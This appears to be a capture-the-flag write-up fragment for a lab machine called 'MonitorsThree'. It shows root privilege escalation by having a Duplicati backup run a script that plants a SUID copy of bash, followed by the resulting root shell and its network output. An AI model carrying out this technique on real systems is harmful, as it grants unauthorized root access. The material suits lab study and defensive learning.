MonitorsThree_Privilege_Escalation

Duplicati

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Setting up a running script; /source/var/tmp/pe.sh

marcus@monitorsthree:/var/tmp$ cat pe.sh 
#!/bin/bash
 
cp /bin/bash /source/var/tmp/blash
chmod +s /source/var/tmp/blash

SUID bash

Running any backup operation will invoke the /source/var/tmp/pe.sh script

marcus@monitorsthree:/var/tmp$ ll blash 
-rwsr-sr-x 1 root root 1396520 Aug 25 19:39 blash*

There is the SUID bash;

marcus@monitorsthree:/var/tmp$ ./blash -p
blash-5.1# whoami
root
blash-5.1# hostname
monitorsthree
blash-5.1# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:df:5f brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.178.64/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2586sec preferred_lft 2586sec
3: br-c7b83e1b07b0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:94:ce:d0:f1 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-c7b83e1b07b0
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:d7:ee:27:62 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
6: veth275bc45@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-c7b83e1b07b0 state UP group default 
    link/ether 62:f4:de:68:2f:e1 brd ff:ff:ff:ff:ff:ff link-netnsid 0

System Level Compromise